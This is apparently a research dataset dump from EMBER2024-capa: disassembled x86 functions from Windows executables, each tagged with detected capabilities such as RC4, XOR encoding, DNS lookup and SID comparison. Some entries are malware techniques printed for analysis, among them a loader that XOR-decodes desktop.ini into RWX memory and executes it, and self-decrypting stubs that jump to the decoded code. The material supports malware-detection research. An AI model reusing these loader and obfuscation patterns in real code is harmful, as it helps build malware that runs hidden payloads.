joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025f0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x41c014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov dword [ebp - 0x114], ecx
mov ebx, edx
push edi
mov dword [ebp - 0x110], 0x1b0d0802
xor ecx, ecx
mov dword [ebp - 0x10c], 0xc223709
mov esi, 0xc
mov dword [ebp - 0x108], 0x1eb49b64
mov eax, ecx
mov byte [ebp + ecx - 0x104], cl
xor edx, edx
div esi
mov al, byte [ebp + edx - 0x110]
mov byte [ebp + ecx - 0x214], al
inc ecx
cmp ecx, 0x100
jl 0x402633
xor edi, edi
xor esi, esi
nop dword [eax + eax]
mov dl, byte [ebp + esi - 0x104]
movzx eax, byte [ebp + esi - 0x214]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x402686
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi - 0x104]
mov byte [ebp + esi - 0x104], al
inc esi
mov byte [ebp + edi - 0x104], dl
cmp esi, 0x100
jl 0x402660
xor esi, esi
xor edi, edi
cmp dword [ebp + 8], esi
jle 0x40271d
sub dword [ebp - 0x114], ebx
inc edi
and edi, 0x800000ff
jns 0x4026c4
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [ebp + edi - 0x104]
movzx edx, cl
add esi, edx
and esi, 0x800000ff
jns 0x4026e0
dec esi
or esi, 0xffffff00
inc esi
movzx eax, byte [ebp + esi - 0x104]
mov byte [ebp + edi - 0x104], al
mov byte [ebp + esi - 0x104], cl
movzx eax, byte [ebp + edi - 0x104]
mov ecx, dword [ebp - 0x114]
add eax, edx
movzx eax, al
movzx eax, byte [ebp + eax - 0x104]
xor al, byte [ecx + ebx]
mov byte [ebx], al
inc ebx
sub dword [ebp + 8], 1
jne 0x4026b3
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040304c
mov esp, ebp
pop ebp
ret
Function at 0x40c6fe
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40c79b
push ebx
push esi
call fcn.0040c6c7
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040c610
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40c748
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c79a
push edi
push eax
call fcn.00409791
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40c768
call fcn.00409757
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40c799
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040c610
add esp, 0x20
test eax, eax
jne 0x40c787
push edi
call fcn.00409757
jmp 0x40c78f
push ebx
call fcn.00409757
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40d442
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x417278
push 0x417270
push str.FlsAlloc
push 0x1e
call fcn.0040d360
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d476
push dword [ebp + 8]
mov ecx, esi
call dword [0x41518c]
call esi
jmp 0x40d47c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d4c0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x417288
push 0x417280
push str.FlsGetValue
push 0x20
call fcn.0040d360
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d4f7
push dword [ebp + 8]
mov ecx, esi
call dword [0x41518c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4086ca
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4086d9
pop dword [ebp - 0x3c]
mov eax, 0xed2400a1
add eax, 0x131c8638
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xd45a5825
sub dword [ebp - 0x4c], 0x860812da
mov dword [ebp - 0x48], 0xc5a7b3ad
add dword [ebp - 0x48], 0x6c8b9898
mov dword [ebp - 0x44], 0xa91e3b2f
add dword [ebp - 0x44], 0xa32e08ff
mov dword [ebp - 0x40], 0x59d32bdf
sub dword [ebp - 0x40], 0x59d32bdf
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xca60356
sub eax, 0xc653302
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xb84a888e
add dword [ebp - 0x4c], 0xbc27e0c8
mov dword [ebp - 0x48], 0xe649b5f3
add dword [ebp - 0x48], 0x5b22ab82
mov dword [ebp - 0x44], 0xe649cb96
sub dword [ebp - 0x44], 0x82da5f2a
mov dword [ebp - 0x40], 0x1f10913
add dword [ebp - 0x40], 0xfe0ef6ed
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3739d
push 0
call eax
mov ecx, 0xf7e4d606
add ecx, 0x81b68cd
mov ebx, eax
mov edx, 0xbf93aa07
sub edx, 0xbf51fa07
add edx, dword [ebp - 0x3c]
mov edi, 0xbea22883
sub edi, 0x1e4166c9
mov esi, dword [edx]
xor dword [ebp - 0x18], 0x36585676
add esi, edi
xor dword [ebp - 0x28], ecx
mov dword [ebx], esi
sub dword [ebp - 0x28], 0x103c12e8
add ebx, 0x55d916a5
sub ebx, 0x55d916a1
add edx, 0x9e317c1a
add edx, 0x61ce83ea
loop 0x4087f6
add eax, 0xab6518c1
add eax, 0x549bd55e
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2e13711b
add ecx, 0xd22c8ee5
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x403020
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
nop
lea eax, [ebp - 0x44]
push eax
call sub.kernel32.dll_GetStartupInfoA
mov eax, dword [ebp - 0x18]
and eax, 1
cmp eax, 0
je 0x40304e
movzx eax, word [ebp - 0x14]
mov dword [ebp - 0x50], eax
jmp 0x403056
mov eax, 0xa
mov dword [ebp - 0x50], eax
mov eax, 0
mov dword [ebp - 0x48], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 8]
cmp eax, 0
je 0x403085
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 0x4c]
push eax
call sub.msvcrt.dll_strstr
add esp, 8
mov dword [ebp - 0x48], eax
mov eax, 0
mov ecx, dword [ebp - 0x48]
cmp eax, ecx
jne 0x4030ab
mov eax, 0x4051fc
push eax
call sub.msvcrt.dll__strdup
add esp, 4
mov dword [ebp - 0x48], eax
jmp 0x4030d4
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
cmp eax, ecx
jbe 0x4030d4
mov eax, dword [ebp - 0x48]
add eax, 0xffffffff
movsx ecx, byte [eax]
cmp ecx, 0x22
jne 0x4030d4
mov eax, dword [ebp - 0x48]
add eax, 0xffffffff
mov dword [ebp - 0x48], eax
mov eax, 0x30000
push eax
mov eax, 0x10000
push eax
call sub.msvcrt.dll__controlfp
add esp, 8
mov eax, 0
push eax
call sub.kernel32.dll_GetModuleHandleA
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, dword [ebp - 0x48]
push ecx
mov ecx, 0
push ecx
push eax
call fcn.00402cd6
leave
ret
Function at 0x10027269
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1007027d
call fcn.1006f298
sub esp, 0x14
push ebx
push esi
mov dword [ebp - 0x1c], 0x1611
cmp dword [ebp - 0x1c], 0x188b
push edi
mov dword [ebp - 0x10], esp
jle 0x100272e9
xor edi, edi
xor ebx, ebx
xor esi, esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x14], 0x55a1
mov eax, esi
mov ecx, 0x10661e78
xor eax, ebx
xor eax, edi
cdq
push edx
push eax
call fcn.10021dcf
dec esi
dec dword [ebp - 0x14]
jne 0x1002729f
mov esi, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x41b7
jl 0x10027295
inc ebx
cmp ebx, 0x229
jl 0x10027290
inc edi
cmp edi, 0x6000
jl 0x1002728e
push 0xb3e
push 0x2578
call dword [sym.imp.USER32.dll_SetCaretPos]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x1606
jge 0x10027305
mov edx, 0x10008568
mov ecx, 0x10661e78
call fcn.10024491
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10034e3d
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov dword [ebp - 0x48], 0x17c9
cmp dword [ebp - 0x48], 0xd7c
jge 0x10034f52
call fcn.10057b78
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0x100082c8
push 0x100082cc
call fcn.100584b3
add esp, 0xc
call fcn.10057b78
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0x100082d4
push 0x100082d8
call fcn.100584b3
add esp, 0xc
xor eax, eax
inc eax
je 0x10034f52
lea eax, [ebp - 0xc]
push eax
push 0x10008178
call fcn.10055adb
pop ecx
pop ecx
cmp dword [ebp - 0xc], 0
jne 0x10034ebe
jmp 0x10034f52
and dword [ebp - 0x10], 0
jmp 0x10034ecb
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jge 0x10034eec
mov eax, dword [ebp - 0x10]
lea eax, [ebp + eax*4 - 0x248]
push eax
push 0x10008178
call fcn.10055adb
pop ecx
pop ecx
jmp 0x10034ec4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x10034eff
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
inc eax
cmp dword [ebp - 4], eax
jge 0x10034f4d
cmp dword [ebp - 8], 0
jne 0x10034f25
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
push eax
push 0x10008198
call fcn.10055d0f
pop ecx
pop ecx
jmp 0x10034f4d
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + eax*4 - 0x248]
jle 0x10034f44
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x248]
dec eax
mov dword [ebp - 8], eax
jmp 0x10034f4b
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
jmp 0x10034ef8
jmp 0x10034e9a
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10034f8e
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
push 0x6755
push 1
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push dword [ebp - 0x1c]
push 0x4fa3
call fcn.10035032
add esp, 0x18
jmp 0x1003502e
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x20]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x1c1e
cmp dword [ebp - 0x30], 0x12e9
jge 0x10034ff6
lea eax, [ebp - 0x14]
push eax
push 0x100081bc
call fcn.10055adb
pop ecx
pop ecx
mov eax, dword [ebp - 0x14]
cdq
push 3
pop ecx
idiv ecx
test edx, edx
jle 0x10034fd6
mov dword [ebp - 0x18], 1
jmp 0x10034fda
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x14]
cdq
push 3
pop ecx
idiv ecx
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*2]
push eax
push 0x100081bc
call fcn.10055d0f
pop ecx
pop ecx
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
test eax, eax
je 0x1003500c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x1003502e
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10041e0f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
cmp eax, dword [0x111b320c]
jne 0x10041e85
and dword [ebp - 8], 0
jmp 0x10041e2d
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov ecx, 0x11d42484
call fcn.1000f5fc
cmp dword [ebp - 8], eax
jae 0x10041e73
cmp dword [ebp - 8], 0
jne 0x10041e4b
mov dword [ebp - 0x18], 0x100080e5
jmp 0x10041e52
mov dword [ebp - 0x18], 0x1000879c
push dword [ebp - 8]
mov ecx, 0x11d42484
call fcn.1000f48a
push dword [eax]
push dword [ebp - 0x18]
push 0x10008944
call fcn.10055d0f
add esp, 0xc
jmp 0x10041e26
push 0x100080e5
call fcn.10055ec6
pop ecx
push 0
call fcn.10059371
imul eax, dword [ebp + 8], 0x18
mov ecx, dword [ebp + 0xc]
lea eax, [eax + ecx*4 + 0x119d35a0]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 0xffffffff
je 0x10041ea8
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
jmp 0x10041fba
mov eax, dword [ebp - 0x14]
and dword [eax], 0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov eax, dword [eax*4 + 0x11664708]
cmp eax, dword [ecx*4 + 0x11664704]
jne 0x10041f0b
mov dword [ebp - 4], 1
jmp 0x10041ed4
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 5
jg 0x10041f0b
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x10041f09
lea eax, [ebp - 4]
push eax
mov ecx, 0x11d42484
call fcn.100221a5
push dword [ebp - 4]
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.10041e0f
pop ecx
pop ecx
mov ecx, 0x11d42484
call fcn.1000f65f
jmp 0x10041ecd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov eax, dword [eax*4 + 0x11664708]
cmp eax, dword [ecx*4 + 0x11664704]
jle 0x10041f60
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp - 0xc], eax
jmp 0x10041f31
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 5
jg 0x10041f60
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x11d42484
call fcn.100221a5
push dword [ebp - 0xc]
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.10041e0f
pop ecx
pop ecx
mov ecx, 0x11d42484
call fcn.1000f65f
jmp 0x10041f2a
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov eax, dword [eax*4 + 0x11664708]
cmp eax, dword [ecx*4 + 0x11664704]
jge 0x10041fb5
mov eax, dword [ebp + 0xc]
dec eax
mov dword [ebp - 0x10], eax
jmp 0x10041f86
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jl 0x10041fb5
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x11d42484
call fcn.100221a5
push dword [ebp - 0x10]
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.10041e0f
pop ecx
pop ecx
mov ecx, 0x11d42484
call fcn.1000f65f
jmp 0x10041f7f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov esp, ebp
pop ebp
ret
Function at 0x10042b7e
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10042bd6
lea eax, [ebp + 0x18]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10042bc2
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10042bc0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x10042bd4
push 0
push 0x1a4a
push 0x2a9
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x10042c0d
lea eax, [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10042bf6
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x10042c0d
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret

Function at 0x10042f9c
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x10043035
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10042ff2
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10042ff0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x10043033
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
inc eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
mov dword [ecx + 0xc], eax
jmp 0x1004305a
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push dword [ebp - 0x34]
push 1
call fcn.10041bb6
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1006a933
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10076758]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1005c398
mov dword [ebp - 0x14], eax
cmp dword [0x10662f94], esi
jne 0x1006aa26
push 0x800
push esi
push 0x10008010
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1006a9b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1006ab06
push esi
push esi
push 0x10008010
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1006ab06
push 0x10008028
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1006ab06
push eax
call ebx
push 0x10008034
push edi
mov dword [0x10662f94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10008044
push edi
mov dword [0x10662f98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10008058
push edi
mov dword [0x10662f9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10662fa4], eax
test eax, eax
je 0x1006aa23
push 0x10008074
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10662fa0], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006aa4b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1006aa3e
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1006aa60
push 4
pop eax
jmp 0x1006ab08
cmp dword [ebp - 0x14], esi
je 0x1006aa60
push dword [0x10662f94]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1006aa45
mov eax, dword [0x10662fa0]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1006aabe
cmp dword [0x10662fa4], edi
je 0x1006aabe
push eax
call ebx
push dword [0x10662fa4]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1006aabe
test eax, eax
je 0x1006aabe
call ecx
test eax, eax
je 0x1006aab3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1006aab3
test byte [ebp - 8], 1
jne 0x1006aabe
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1006aaee
mov eax, dword [0x10662f98]
cmp eax, edi
je 0x1006aaeb
push eax
call ebx
test eax, eax
je 0x1006aaeb
call eax
mov esi, eax
test esi, esi
je 0x1006aaeb
mov eax, dword [0x10662f9c]
cmp eax, edi
je 0x1006aaeb
push eax
call ebx
test eax, eax
je 0x1006aaeb
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x10662f94]
call ebx
test eax, eax
je 0x1006ab06
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1006ab08
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10059ac9
mov esp, ebp
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x43294e
Capabilities:
Encode data using xor

Disassembly:
jbe 0x432971
mov ah, 0xee
loope 0x432987
xor dword [esi + esi*4 + 0x313133b1], edi
mov edx, 0x329155b5
xor dword [ecx], esi
mov esp, 0x3133adb6
xor dword [edx + 0x328955b5], edi
Function at 0x100010d0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100010f4
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
cmp dword [edx], 0
jne 0x100010fc
mov eax, dword [ebp + 0xc]
mov byte [eax], 0
jmp 0x1000114a
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0xc], 0
je 0x10001144
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
cmp dword [eax], 0
je 0x10001144
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000113c
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.10008420
add esp, 8
jmp 0x10001142
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 0
jmp 0x1000114a
mov edx, dword [ebp + 0xc]
mov byte [edx], 0
mov esp, ebp
pop ebp
ret